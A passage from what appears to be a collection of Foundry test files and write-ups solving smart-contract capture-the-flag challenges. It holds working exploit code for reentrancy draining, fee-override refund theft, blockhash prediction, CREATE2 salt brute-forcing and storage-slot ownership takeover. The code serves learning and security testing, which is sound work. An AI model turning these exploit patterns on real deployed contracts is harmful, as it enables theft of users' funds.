"src/Pelusa.sol"; 6 | 7 | // Inherit from `Pelusa` to maintain same storage layout, 8 | // so it's easier to modify `goals` variable 9 | contract Player is Pelusa, IGame { 10 | address ballPossesion; 11 | 12 | // Use constructor to bypass the `msg.sender.code.length == 0` 13 | constructor(address pelusa, address _ballPossesion) { 14 | // set the `Pelusa.player` 15 | Pelusa(pelusa).passTheBall(); 16 | 17 | ballPossesion = _ballPossesion; 18 | } 19 | 20 | function getBallPossesion() external view returns (address) { 21 | return ballPossesion; 22 | } 23 | 24 | function handOfGod() external returns(uint){ 25 | goals ++; 26 | 27 | return 22_06_1986; 28 | } 29 | } 30 | 31 | contract SolvePelusa is Test { 32 | 33 | Pelusa pelusa; 34 | address pelusaOwner; 35 | 36 | function setUp() public { 37 | pelusa = new Pelusa(); 38 | } 39 | 40 | function testPassTheBall() public { 41 | // 0. calculate the `Pelusa.owner` using its own algorithm 42 | bytes32 BLOCK_HASH_READ_FROM_NODE_SERVER; // foundry uses 0 as blockhash 43 | pelusaOwner = address(uint160(uint256(keccak256( 44 | abi.encodePacked(address(this), BLOCK_HASH_READ_FROM_NODE_SERVER))))); 45 | 46 | // 1. Brute force `salt` to find an address that matches the `%100==10` 47 | uint salt = bruteForceSalt(1000); // just try 1000 times 48 | require (uint(salt) != 0, "no valid salt"); 49 | 50 | // 2. Set the `Pelusa.player` 51 | new Player{salt: bytes32(salt)}( 52 | address(pelusa), pelusaOwner 53 | ); 54 | 55 | // 3. shoot 56 | pelusa.shoot(); 57 | 58 | require(pelusa.goals() == 2, "goals != 2"); 59 | } 60 | 61 | function bruteForceSalt(uint max) private view returns(uint) { 62 | uint hashInitCode = uint(keccak256(abi.encodePacked( 63 | type(Player).creationCode, abi.encode(address(pelusa), pelusaOwner) 64 | ))); 65 | 66 | for (uint salt=1; salt<=max; salt++) { 67 | uint160 numAddr = uint160(uint(keccak256(abi.encodePacked( 68 | bytes1(0xff), address(this), salt, hashInitCode)))); 69 | 70 | if (numAddr % 100 == 10) { 71 | return salt; 72 | } 73 | } 74 | return 0; 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /PseudoRandom.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/PseudoRandom.sol"; 6 | 7 | contract PseudoRandomTest is Test { 8 | string private BSC_RPC = "https://rpc.ankr.com/bsc"; // 56 9 | string private POLY_RPC = "https://rpc.ankr.com/polygon"; // 137 10 | string private FANTOM_RPC = "https://rpc.ankr.com/fantom"; // 250 11 | string private ARB_RPC = "https://rpc.ankr.com/arbitrum"; // 42161 12 | string private OPT_RPC = "https://rpc.ankr.com/optimism"; // 10 13 | string private GNOSIS_RPC = "https://rpc.ankr.com/gnosis"; // 100 14 | 15 | address private addr; 16 | 17 | function setUp() external { 18 | vm.createSelectFork(BSC_RPC); 19 | } 20 | 21 | function test() external { 22 | 23 | string memory rpc = new string(32); 24 | assembly { 25 | // network selection 26 | let _rpc := sload( 27 | add(mod(xor(number(), timestamp()), 0x06), BSC_RPC.slot) 28 | ) 29 | mstore(rpc, shr(0x01, and(_rpc, 0xff))) 30 | mstore(add(rpc, 0x20), and(_rpc, not(0xff))) 31 | } 32 | 33 | addr = makeAddr(rpc); 34 | 35 | vm.createSelectFork(rpc); 36 | 37 | vm.startPrank(addr, addr); 38 | address instance = address(new PseudoRandom()); 39 | 40 | // the solution 41 | 42 | // 1. call `getData()` to get slot number 43 | bytes memory data1 = abi.encodeWithSignature( 44 | "getData()", 45 | block.chainid + uint(uint160(addr)) 46 | ); 47 | ( , bytes memory ret1) = instance.call(data1); 48 | 49 | // 2. call `getData()` again to get signature 50 | bytes memory data2 = abi.encodeWithSignature( 51 | "getData()", 52 | bytes32(ret1) 53 | ); 54 | ( , bytes memory ret2) = instance.call(data2); 55 | 56 | // 3. give the correct `sig` and set the `owner` 57 | bytes4 selector = bytes4(bytes32(ret2)); 58 | bytes memory data3 = abi.encodePacked( 59 | selector,// 0 60 | uint(0), // fill some dummy bytes because the `addr` below should start from 0x24 61 | bytes32(uint(uint160(addr))) // 0x24 62 | ); 63 | instance.call(data3); 64 | 65 | // ---- end of solution ---- 66 | 67 | assertEq(PseudoRandom(instance).owner(), addr); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /NFTBank.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | The bank allows rented NFT to be added again, which is the key to this challenge. Attacker can add that token with different fee, the old fee will be overridden, the `refund` will send arbitrary fee to the attacker, in this way attacker can drain all the balance . 3 | 4 | # Steps 5 | 1. rent another Token 2 6 | 2. `addNFT(Token 2)` with 0 daily fee and 1000 gwei start fee(500 each for renting token 1/2. The fee values for Token 2 is overridden) 7 | 3. `getBackNft(Token 2)`, claim the owner of Token 2, for next step 8 | 4. `refund(Token 2)`, to get the 1000 gwei 9 | 10 | # POC 11 | ```solidity 12 | 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.8; 15 | 16 | import "forge-std/Test.sol"; 17 | import {NFTBank} from "../src/NFTBank.sol"; 18 | import {ERC721} from "openzeppelin-contracts/contracts/token/ERC721/ERC721.sol"; 19 | import {Ownable} from "openzeppelin-contracts/contracts/access/Ownable.sol"; 20 | 21 | contract CryptoKitties is ERC721("CryptoKitties", "MEOW"), Ownable { 22 | function mint(address to, uint id) external onlyOwner { 23 | _safeMint(to, id); 24 | } 25 | } 26 | 27 | contract NFTBankHack is Test { 28 | NFTBank bank; 29 | CryptoKitties meow; 30 | address nftOwner = makeAddr("nftOwner"); 31 | address attacker = makeAddr("attacker"); 32 | 33 | function setUp() public { 34 | vm.startPrank(nftOwner); 35 | bank = new NFTBank(); 36 | meow = new CryptoKitties(); 37 | for (uint i; i < 10; i++) { 38 | meow.mint(nftOwner, i); 39 | meow.approve(address(bank), i); 40 | bank.addNFT(address(meow), i, 2 gwei, 500 gwei); 41 | } 42 | vm.stopPrank(); 43 | } 44 | 45 | 46 | function test() public { 47 | vm.deal(attacker, 1 ether); 48 | vm.startPrank(attacker); 49 | bank.rent{value: 500 gwei}(address(meow), 1); 50 | vm.warp(block.timestamp + 86400 * 10); 51 | 52 | //solution 53 | 54 | bank.rent{value: 500 gwei}(address(meow), 2); 55 | meow.approve(address(bank), 2); 56 | bank.addNFT(address(meow), 2, 0 gwei, 1000 gwei); 57 | bank.getBackNft(address(meow), 2, payable(address(this))); 58 | meow.approve(address(bank), 2); 59 | bank.refund{value: 0 gwei}(address(meow), 2); 60 | 61 | 62 | vm.stopPrank(); 63 | assertEq(attacker.balance, 1 ether); 64 | assertEq(meow.ownerOf(1), attacker); 65 | } 66 | } 67 | 68 | 69 | ``` 70 | -------------------------------------------------------------------------------- /LicenseManager.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/LicenseManager.sol"; 6 | 7 | /** 8 | * @title Test contract for LicenseManager 9 | */ 10 | contract LicenseManagerTest is Test { 11 | 12 | LicenseManager license; 13 | 14 | address owner = makeAddr("owner"); 15 | address user1 = makeAddr("user1"); 16 | address user2 = makeAddr("user2"); 17 | address user3 = makeAddr("user3"); 18 | address user4 = makeAddr("user4"); 19 | 20 | address attacker = makeAddr("attacker"); 21 | 22 | function setUp() public { 23 | vm.prank(owner); 24 | license = new LicenseManager(); 25 | 26 | vm.deal(user1, 1 ether); 27 | vm.deal(user2, 1 ether); 28 | vm.deal(user3, 1 ether); 29 | vm.deal(user4, 1 ether); 30 | 31 | vm.prank(user1); 32 | license.buyLicense{value: 1 ether}(); 33 | 34 | vm.prank(user2); 35 | license.buyLicense{value: 1 ether}(); 36 | 37 | vm.prank(user3); 38 | license.buyLicense{value: 1 ether}(); 39 | 40 | vm.prank(user4); 41 | license.buyLicense{value: 1 ether}(); 42 | 43 | } 44 | 45 | function test_exploit1_2() public { 46 | vm.deal(attacker, 0.01 ether); 47 | vm.startPrank(attacker); 48 | //Challenge 1 solution 49 | { 50 | // try to find the right block within the next 1000 blocks 51 | for(uint i; i<1000; i++) { 52 | 53 | uint algorithm = uint(keccak256(abi.encodePacked(uint(0.01 ether), attacker, uint(1337), blockhash(block.number - 1)))); 54 | if (algorithm % 100 == 0) { 55 | license.winLicense{value: 0.01 ether}(); 56 | break; 57 | } 58 | vm.roll(block.number + 1); // try the next block 59 | } 60 | } 61 | 62 | assertEq(true, license.checkLicense()); 63 | vm.stopPrank(); 64 | 65 | vm.startPrank(attacker); 66 | //Challenge 2.1 solution 67 | { 68 | license.refundLicense(); 69 | } 70 | 71 | assertGt(attacker.balance, 0.1 ether); 72 | vm.stopPrank(); 73 | 74 | } 75 | 76 | // This is re-entered, until it's all drained 77 | receive() external payable { 78 | if(address(license).balance >= 1 ether) { 79 | license.refundLicense(); 80 | } 81 | } 82 | /// collect the ethers in the contract before the owner notices in second way. 83 | function test_exploit3() public { 84 | vm.deal(address(this), 1 ether); 85 | // challenge 2.2 solution 86 | { 87 | license.buyLicense{value: 1 ether}(); 88 | license.refundLicense(); 89 | } 90 | 91 | console.log("\tFinal Balance\t", address(this).balance); 92 | assertGt(address(this).balance, 1 ether); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /Lottery.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.8.19; 3 | 4 | import {Test} from "forge-std/Test.sol"; 5 | import "forge-std/console.sol"; 6 | 7 | contract Factory { 8 | function dep(bytes memory _code) public payable returns (address x) { 9 | require(msg.value >= 10 ether); 10 | 11 | assembly { 12 | x := create(0, add(0x20, _code), mload(_code)) 13 | } 14 | if (x == address(0)) payable(msg.sender).transfer(msg.value); 15 | } 16 | } 17 | 18 | contract Lottery is Test { 19 | 20 | Factory private factory; 21 | address attacker; 22 | 23 | function setUp() public { 24 | factory = new Factory(); 25 | attacker = makeAddr("attacker"); 26 | } 27 | 28 | function testLottery() public { 29 | vm.deal(attacker, 11 ether); 30 | vm.deal(0x0A1EB1b2d96a175608edEF666c171d351109d8AA, 200 ether); 31 | vm.startPrank(attacker); 32 | 33 | //Solution 34 | /* 35 | contract Revert { 36 | constructor() { 37 | revert(""); 38 | } 39 | } 40 | */ 41 | bytes memory codeRevert = hex"6080604052348015600f57600080fd5b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401604090607c565b60405180910390fd5b600082825260208201905092915050565b50565b600060686000836049565b9150607182605a565b600082019050919050565b60006020820190508181036000830152609381605d565b905091905056fe"; 42 | for (uint i; i<16; i++) { 43 | factory.dep{value: 10 ether}(codeRevert); 44 | } 45 | 46 | /* 47 | contract Withdraw { 48 | constructor(address attacker) { 49 | payable(address(attacker)).send(address(this).balance); 50 | } 51 | } 52 | */ 53 | 54 | bytes memory codeWithdraw = hex"608060405234801561001057600080fd5b5060405161014b38038061014b833981810160405281019061003291906100d1565b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505050506100fe565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061009e82610073565b9050919050565b6100ae81610093565b81146100b957600080fd5b50565b6000815190506100cb816100a5565b92915050565b6000602082840312156100e7576100e661006e565b5b60006100f5848285016100bc565b91505092915050565b603f8061010c6000396000f3fe6080604052600080fdfea264697066735822122030479a835daab8373f3069876b1114d02f6fae6f4cb587c49a2cda4f0e483d0264736f6c63430008130033"; 55 | 56 | codeWithdraw = abi.encodePacked(codeWithdraw, abi.encode(attacker)); 57 | factory.dep{value: 10 ether}(codeWithdraw); 58 | 59 | vm.stopPrank(); 60 | assertGt(attacker.balance, 200 ether); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /KeyCraft.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | 3 | To bypass the `checkAddress` modifier, we can bruteforce the input parameter `b`, the pseudo code: 4 | 1. use a number `b`, starts from 0 5 | 2. convert it to byte array, eg: hex"00" 6 | 3. calculate `keccak256(b) >> 108 << 240 >> 240` 7 | 4. if the result is 13057, then we found our `b`, we print `b` and the attacker address, which is `uint160(uint256(keccak256(b)))` 8 | 5. if it's not, increase `b` by 1 and loop again 9 | 10 | I did this with Golang: 11 | ```go 12 | package main 13 | 14 | import ( 15 | "fmt" 16 | 17 | "github.com/holiman/uint256" 18 | "golang.org/x/crypto/sha3" 19 | ) 20 | 21 | func Sha3(bs []byte) []byte { 22 | hash := sha3.NewLegacyKeccak256() 23 | hash.Write(bs) 24 | return hash.Sum(nil) 25 | } 26 | 27 | func main() { 28 | v13057 := uint256.NewInt(13057) 29 | b := uint256.NewInt(0) 30 | for { 31 | hash := Sha3(b.Bytes()) 32 | attacker := uint256.NewInt(0) 33 | attacker.SetBytes(hash) 34 | 35 | a := uint256.NewInt(0) 36 | a.SetBytes(hash) 37 | a.Rsh(a, 108) 38 | a.Lsh(a, 240) 39 | a.Rsh(a, 240) 40 | 41 | if a.Eq(v13057) { 42 | fmt.Println("found") 43 | fmt.Println("b:", b.Hex()) 44 | atk := attacker.Bytes20() 45 | fmt.Printf("attacker: 0x%x\n", atk[:]) 46 | return 47 | } 48 | 49 | b.AddUint64(b, 1) 50 | } 51 | 52 | } 53 | 54 | ``` 55 | 56 | The result: 57 | 58 | > b: 0x1dc4 59 | > 60 | > attacker: 0xc1b0f68c233018d3faf76adabe5bfd70748d0f50 61 | 62 | We can successfully mint a Token with this `b`, then burn it to get 1 ether. 63 | 64 | # POC 65 | ```solidity 66 | // SPDX-License-Identifier: MIT 67 | pragma solidity 0.8.19; 68 | 69 | import {Test} from "forge-std/Test.sol"; 70 | import "forge-std/console.sol"; 71 | import "../src/KeyCraft.sol"; 72 | 73 | contract KC is Test { 74 | KeyCraft k; 75 | address owner; 76 | address user; 77 | address attacker; 78 | 79 | function setUp() public { 80 | owner = makeAddr("owner"); 81 | user = makeAddr("user"); 82 | attacker = 0xC1b0f68C233018d3fAf76adABE5bfD70748d0f50; 83 | 84 | vm.deal(user, 1 ether); 85 | 86 | vm.startPrank(owner); 87 | k = new KeyCraft("KeyCraft", "KC"); 88 | vm.stopPrank(); 89 | 90 | vm.startPrank(user); 91 | k.mint{value: 1 ether}(hex"dead"); 92 | vm.stopPrank(); 93 | } 94 | 95 | function testKeyCraft() public { 96 | vm.startPrank(attacker); 97 | 98 | //Solution 99 | 100 | bytes memory b = hex"1dc4"; 101 | k.mint(b); 102 | k.burn(2); 103 | 104 | vm.stopPrank(); 105 | assertEq(attacker.balance, 1 ether); 106 | } 107 | } 108 | 109 | ``` 110 | -------------------------------------------------------------------------------- /WETH10.md: -------------------------------------------------------------------------------- 1 | # Two problems: 2 | 1. The function `execute()` is dangerous, it can be used to call functions like `ERC20.approve()` with the `msg.sender` being itself, but it's not the key to this challenge. 3 | 2. The key vulnerability is the `withdrawAll()`, attacker can use a `fallback` function to transfer away the WETH10 token before it's burned. So we can obtain "free" tokens by repeatedly `deposit()` and `withdrawAll()`, and finally withdraw the "free" tokens to 10 ether. 4 | 5 | 6 | # POC (Foundry) 7 | ```solidity 8 | // SPDX-License-Identifier: UNLICENSED 9 | pragma solidity ^0.8.13; 10 | 11 | import "forge-std/Test.sol"; 12 | import "src/WETH10.sol"; 13 | 14 | contract Weth10Test is Test { 15 | WETH10 public weth; 16 | address owner; 17 | address bob; 18 | 19 | function setUp() public { 20 | weth = new WETH10(); 21 | bob = makeAddr("bob"); 22 | 23 | vm.deal(address(weth), 10 ether); 24 | vm.deal(address(bob), 1 ether); 25 | } 26 | 27 | function testHack() public { 28 | assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether"); 29 | 30 | vm.startPrank(bob); 31 | 32 | // hack time! 33 | BobContract bc = new BobContract(weth); 34 | 35 | // give contract 1 ether 36 | bc.deposit{value: 1 ether}(); 37 | 38 | // run 10 rounds, each round increases bob's token by 1 ether. 39 | for(uint i=0; i<10; i++) { 40 | bc.oneRound(); 41 | } 42 | 43 | // so far, bob should have 10eth of WETH10, now withdraw to ether 44 | weth.withdrawAll(); 45 | 46 | // bob get back 1 ether from the contract 47 | bc.withdraw(); 48 | 49 | vm.stopPrank(); 50 | assertEq(address(weth).balance, 0, "empty weth contract"); 51 | assertEq(bob.balance, 11 ether, "player should end with 11 ether"); 52 | } 53 | } 54 | 55 | contract BobContract { 56 | address bob; 57 | WETH10 weth; 58 | 59 | constructor(WETH10 _weth) { 60 | bob = msg.sender; 61 | weth = _weth; 62 | } 63 | 64 | // bob deposit 1 ether for further operations 65 | function deposit() external payable {} 66 | // bob withdraw 1 ether after all done 67 | function withdraw() external { 68 | Address.sendValue(payable(bob), 1 ether); 69 | } 70 | 71 | // each round costs nothing but gains 1 ether of WETH10 token 72 | function oneRound() external payable { 73 | weth.deposit{value: 1 ether}(); 74 | weth.withdrawAll(); 75 | } 76 | 77 | receive() external payable { 78 | // transfer away the WETH10 token to prevent being burned. 79 | weth.transfer(address(bob), 1 ether); 80 | } 81 | } 82 | 83 | ``` 84 | 85 | # output 86 | > Running 1 test for test/WETH10.t.sol:Weth10Test 87 | > 88 | > [PASS] testHack() (gas: 671480) 89 | > 90 | > Test result: ok. 1 passed; 0 failed; finished in 719.57µs 91 | -------------------------------------------------------------------------------- /PseudoRandom.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | 3 | ## The constructor 4 | The numeric calculation in the constructor is pretty complex, but we can ignore it and simply focus on where it stores the result. 5 | 6 | It stores the `sig` in `slot`, and stores `slot` at `chainid + origin`. 7 | 8 | ## The fallback function 9 | #### 1. The first `if` branch 10 | The function `0x3bc5de30` is `getData()`, this code branch takes 1 parameter as slot number and loads the corresponding slot value. 11 | 12 | #### 2. The second `if` branch 13 | It loads storage slot `chainid + origin`, which stores the `slot` that saved in constructor. we can override the `owner` by giving the correct `sig`. 14 | 15 | 16 | # POC (Foundry) 17 | ```solidity 18 | // SPDX-License-Identifier: MIT 19 | pragma solidity ^0.8.19; 20 | 21 | import "forge-std/Test.sol"; 22 | import "../src/PseudoRandom.sol"; 23 | 24 | contract PseudoRandomTest is Test { 25 | string private BSC_RPC = "https://rpc.ankr.com/bsc"; // 56 26 | string private POLY_RPC = "https://rpc.ankr.com/polygon"; // 137 27 | string private FANTOM_RPC = "https://rpc.ankr.com/fantom"; // 250 28 | string private ARB_RPC = "https://rpc.ankr.com/arbitrum"; // 42161 29 | string private OPT_RPC = "https://rpc.ankr.com/optimism"; // 10 30 | string private GNOSIS_RPC = "https://rpc.ankr.com/gnosis"; // 100 31 | 32 | address private addr; 33 | 34 | function setUp() external { 35 | vm.createSelectFork(BSC_RPC); 36 | } 37 | 38 | function test() external { 39 | 40 | string memory rpc = new string(32); 41 | assembly { 42 | // network selection 43 | let _rpc := sload( 44 | add(mod(xor(number(), timestamp()), 0x06), BSC_RPC.slot) 45 | ) 46 | mstore(rpc, shr(0x01, and(_rpc, 0xff))) 47 | mstore(add(rpc, 0x20), and(_rpc, not(0xff))) 48 | } 49 | 50 | addr = makeAddr(rpc); 51 | 52 | vm.createSelectFork(rpc); 53 | 54 | vm.startPrank(addr, addr); 55 | address instance = address(new PseudoRandom()); 56 | 57 | // the solution 58 | 59 | // 1. call `getData()` to get slot number 60 | bytes memory data1 = abi.encodeWithSignature( 61 | "getData()", 62 | block.chainid + uint(uint160(addr)) 63 | ); 64 | ( , bytes memory ret1) = instance.call(data1); 65 | 66 | // 2. call `getData()` again to get signature 67 | bytes memory data2 = abi.encodeWithSignature( 68 | "getData()", 69 | bytes32(ret1) 70 | ); 71 | ( , bytes memory ret2) = instance.call(data2); 72 | 73 | // 3. give the correct `sig` and set the `owner` 74 | bytes4 selector = bytes4(bytes32(ret2)); 75 | bytes memory data3 = abi.encodePacked( 76 | selector,// 0 77 | uint(0), // fill some dummy bytes because the `addr` below should start from 0x24 78 | bytes32(uint(uint160(addr))) // 0x24 79 | ); 80 | instance.call(data3); 81 | 82 | // ---- end of solution ---- 83 | 84 | assertEq(PseudoRandom(instance).owner(), addr); 85 | } 86 | } 87 | 88 | ``` 89 | 90 | -------------------------------------------------------------------------------- /LicenseManager.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | Two vunerabilities in the contract: 3 | 1. It should use Oracles instead of using builtin functions like `blockhash` for the randomization, it can be predicted. An attacker can simulate the algorithm, wait for the right block to `winLicense()`. 4 | 5 | 2. Re-entrancy bug in the function `refundlicense()`. Attacker can drain all the balance. 6 | 7 | # POC 8 | ``` 9 | // SPDX-License-Identifier: MIT 10 | pragma solidity ^0.8.0; 11 | 12 | import "forge-std/Test.sol"; 13 | import "../src/LicenseManager.sol"; 14 | 15 | /** 16 | * @title Test contract for LicenseManager 17 | */ 18 | contract LicenseManagerTest is Test { 19 | 20 | LicenseManager license; 21 | 22 | address owner = makeAddr("owner"); 23 | address user1 = makeAddr("user1"); 24 | address user2 = makeAddr("user2"); 25 | address user3 = makeAddr("user3"); 26 | address user4 = makeAddr("user4"); 27 | 28 | address attacker = makeAddr("attacker"); 29 | 30 | function setUp() public { 31 | vm.prank(owner); 32 | license = new LicenseManager(); 33 | 34 | vm.deal(user1, 1 ether); 35 | vm.deal(user2, 1 ether); 36 | vm.deal(user3, 1 ether); 37 | vm.deal(user4, 1 ether); 38 | 39 | vm.prank(user1); 40 | license.buyLicense{value: 1 ether}(); 41 | 42 | vm.prank(user2); 43 | license.buyLicense{value: 1 ether}(); 44 | 45 | vm.prank(user3); 46 | license.buyLicense{value: 1 ether}(); 47 | 48 | vm.prank(user4); 49 | license.buyLicense{value: 1 ether}(); 50 | 51 | } 52 | 53 | function test_exploit1_2() public { 54 | vm.deal(attacker, 0.01 ether); 55 | vm.startPrank(attacker); 56 | //Challenge 1 solution 57 | { 58 | // try to find the right block within the next 1000 blocks 59 | for(uint i; i<1000; i++) { 60 | 61 | uint algorithm = uint(keccak256(abi.encodePacked(uint(0.01 ether), attacker, uint(1337), blockhash(block.number - 1)))); 62 | if (algorithm % 100 == 0) { 63 | license.winLicense{value: 0.01 ether}(); 64 | break; 65 | } 66 | vm.roll(block.number + 1); // try the next block 67 | } 68 | } 69 | 70 | assertEq(true, license.checkLicense()); 71 | vm.stopPrank(); 72 | 73 | vm.startPrank(attacker); 74 | //Challenge 2.1 solution 75 | { 76 | license.refundLicense(); 77 | } 78 | 79 | assertGt(attacker.balance, 0.1 ether); 80 | vm.stopPrank(); 81 | 82 | } 83 | 84 | // This is re-entered, until it's all drained 85 | receive() external payable { 86 | if(address(license).balance >= 1 ether) { 87 | license.refundLicense(); 88 | } 89 | } 90 | /// collect the ethers in the contract before the owner notices in second way. 91 | function test_exploit3() public { 92 | vm.deal(address(this), 1 ether); 93 | // challenge 2.2 solution 94 | { 95 | license.buyLicense{value: 1 ether}(); 96 | license.refundLicense(); 97 | } 98 | 99 | console.log("\tFinal Balance\t", address(this).balance); 100 | assertGt(address(this).balance, 1 ether); 101 | } 102 | } 103 | 104 | ``` 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /SlotPuzzle.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | 6 | import {SlotPuzzle} from "src/SlotPuzzle.sol"; 7 | import {SlotPuzzleFactory} from "src/SlotPuzzleFactory.sol"; 8 | import {Parameters,Recipients} from "src/ISlotPuzzleFactory.sol"; 9 | 10 | 11 | contract SlotPuzzleTest is Test { 12 | SlotPuzzle public slotPuzzle; 13 | SlotPuzzleFactory public slotPuzzleFactory; 14 | address hacker; 15 | 16 | function setUp() public { 17 | slotPuzzleFactory = new SlotPuzzleFactory{value: 3 ether}(); 18 | hacker = makeAddr("hacker"); 19 | } 20 | 21 | function testHack() public { 22 | vm.startPrank(hacker,hacker); 23 | assertEq(address(slotPuzzleFactory).balance, 3 ether, "weth contract should have 3 ether"); 24 | 25 | //hack time 26 | 27 | uint slot; 28 | { // calculate slot 29 | // for: `ghostInfo[tx.origin][block.number]` 30 | slot = MKK(uint(uint160(hacker)), block.number, 1); 31 | 32 | // for: `.map[block.timestamp][msg.sender]` 33 | slot += 1; // Struct member `ghostStore.map` is at slot 1 34 | slot = MKK(block.timestamp, uint(uint160(address(slotPuzzleFactory))), slot); 35 | 36 | // for: `.map[block.prevrandao][block.coinbase]` 37 | slot += 1; // Struct member `ghostStore.map` is at slot 1 38 | slot = MKK(block.prevrandao, uint(uint160(address(block.coinbase))), slot); 39 | 40 | // for: `.map[block.chainid][address(uint160(uint256(blockhash(block.number - block.basefee))))]` 41 | slot += 1; // Struct member `ghostStore.map` is at slot 1 42 | slot = MKK(block.chainid, uint(blockhash(block.number - block.basefee)), slot); 43 | 44 | // for: `.hash.push(ghost);` 45 | slot = uint(keccak256(abi.encode(slot))); 46 | } 47 | 48 | Parameters memory params; 49 | { // build Parameters 50 | params.totalRecipients = 3; // same as recipients.length 51 | params.offset = 0x1c4; // points to last 32bytes 52 | 53 | Recipients memory recip; // add `hacker` as recipient 3 times 54 | recip.account = hacker; 55 | recip.amount = 1 ether; // has to be 1 ether 56 | params.recipients = new Recipients[](3); 57 | for(uint i=0; i<3; i++) { 58 | params.recipients[i] = recip; 59 | } 60 | 61 | // append an extra 32bytes(value 0x124) to the end, which acts as 62 | // a trampoline, points to the real slot 63 | params.slotKey = abi.encode(slot, uint(0x124)); 64 | } 65 | 66 | slotPuzzleFactory.deploy(params); 67 | 68 | // ---- end of hack ---- 69 | 70 | assertEq(address(slotPuzzleFactory).balance, 0, "weth contract should have 0 ether"); 71 | assertEq(address(hacker).balance, 3 ether, "hacker should have 3 ether"); 72 | 73 | vm.stopPrank(); 74 | } 75 | 76 | // calculate slot number of `map[key]` 77 | function MK(uint key, uint mapSelfSlotIndex) public pure returns(uint) { 78 | return uint(keccak256(abi.encode(key, mapSelfSlotIndex))); 79 | } 80 | // calculate slot number of `map[key1][key2]` 81 | function MKK(uint key1, uint key2, uint mapSelfSlotIndex) public pure returns(uint) { 82 | uint slot1 = MK(key1, mapSelfSlotIndex); 83 | return MK(key2, slot1); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /EQ.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | 6 | contract EQ is Test { 7 | address isNumbersEQContract; 8 | bytes1[] badOpcodes; 9 | 10 | function setUp() public { 11 | badOpcodes.push(hex"01"); // ADD 12 | badOpcodes.push(hex"02"); // MUL 13 | badOpcodes.push(hex"03"); // SUB 14 | badOpcodes.push(hex"04"); // DIV 15 | badOpcodes.push(hex"05"); // SDIV 16 | badOpcodes.push(hex"06"); // MOD 17 | badOpcodes.push(hex"07"); // SMOD 18 | badOpcodes.push(hex"08"); // ADDMOD 19 | badOpcodes.push(hex"09"); // MULLMOD 20 | badOpcodes.push(hex"18"); // XOR 21 | badOpcodes.push(hex"10"); // LT 22 | badOpcodes.push(hex"11"); // GT 23 | badOpcodes.push(hex"12"); // SLT 24 | badOpcodes.push(hex"13"); // SGT 25 | badOpcodes.push(hex"14"); // EQ 26 | badOpcodes.push(hex"f0"); // create 27 | badOpcodes.push(hex"f5"); // create2 28 | badOpcodes.push(hex"19"); // NOT 29 | badOpcodes.push(hex"1b"); // SHL 30 | badOpcodes.push(hex"1c"); // SHR 31 | badOpcodes.push(hex"1d"); // SAR 32 | vm.createSelectFork( 33 | "https://rpc.ankr.com/eth" 34 | ); 35 | address isNumbersEQContractTemp; 36 | // solution - your bytecode 37 | bytes 38 | memory bytecode = hex"601580600a3d393df3ff602435803D90553435469055543d5260203df3ffff"; // TODO: 39 | // 40 | require(bytecode.length < 40, "try harder!"); 41 | for (uint i; i < bytecode.length; i++) { 42 | for (uint a; a < badOpcodes.length; a++) { 43 | if (bytecode[i] == badOpcodes[a]) revert(); 44 | } 45 | } 46 | 47 | assembly { 48 | isNumbersEQContractTemp := create( 49 | 0, 50 | add(bytecode, 0x20), 51 | mload(bytecode) 52 | ) 53 | if iszero(extcodesize(isNumbersEQContractTemp)) { 54 | revert(0, 0) 55 | } 56 | } 57 | isNumbersEQContract = isNumbersEQContractTemp; 58 | } 59 | 60 | // fuzzing test 61 | function test_isNumbersEq(uint8 a, uint8 b) public { 62 | (bool success, bytes memory data) = isNumbersEQContract.call{value: 4}( 63 | abi.encodeWithSignature("isEq(uint256, uint256)", a, b) 64 | ); 65 | require(success, "!success"); 66 | uint result = abi.decode(data, (uint)); 67 | a == b ? assert(result == 1) : assert(result != 1); 68 | 69 | // additional tests 70 | // 1 - equal numbers 71 | (, data) = isNumbersEQContract.call{value: 4}( 72 | abi.encodeWithSignature("isEq(uint256, uint256)", 57204, 57204) 73 | ); 74 | require(abi.decode(data, (uint)) == 1, "1 test fail"); 75 | // 2 - different numbers 76 | (, data) = isNumbersEQContract.call{value: 4}( 77 | abi.encodeWithSignature("isEq(uint256, uint256)", 0, 3568) 78 | ); 79 | require(abi.decode(data, (uint)) != 1, "2 test fail"); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /8.t.md: -------------------------------------------------------------------------------- 1 | # Some challenges and solutions: 2 | - It tries to hide the `owner`, but it's predictable, the `blockhash` can be easily obtained from a node server, or just from etherscan.com. Here, let's just use 0 as `blockhash` because it's the default value in Foundry. 3 | - The check `msg.sender.code.length == 0` can be bypassed by calling from a contract's constructor. 4 | - We need to predict our contract's address to bypass the `require(msg.sender % 100 == 10)`. That address can be calculated as: `keccak256(abi.encodePacked(0xff, sender, salt, hashOfInitCode))`, we brute force the `salt` to find the one that satisfies `% 100 == 10`, then deploy it using that `salt` like `new Player{salt: salt}(args)`. 5 | 6 | - The return value of `delegatecall` is 32 bytes 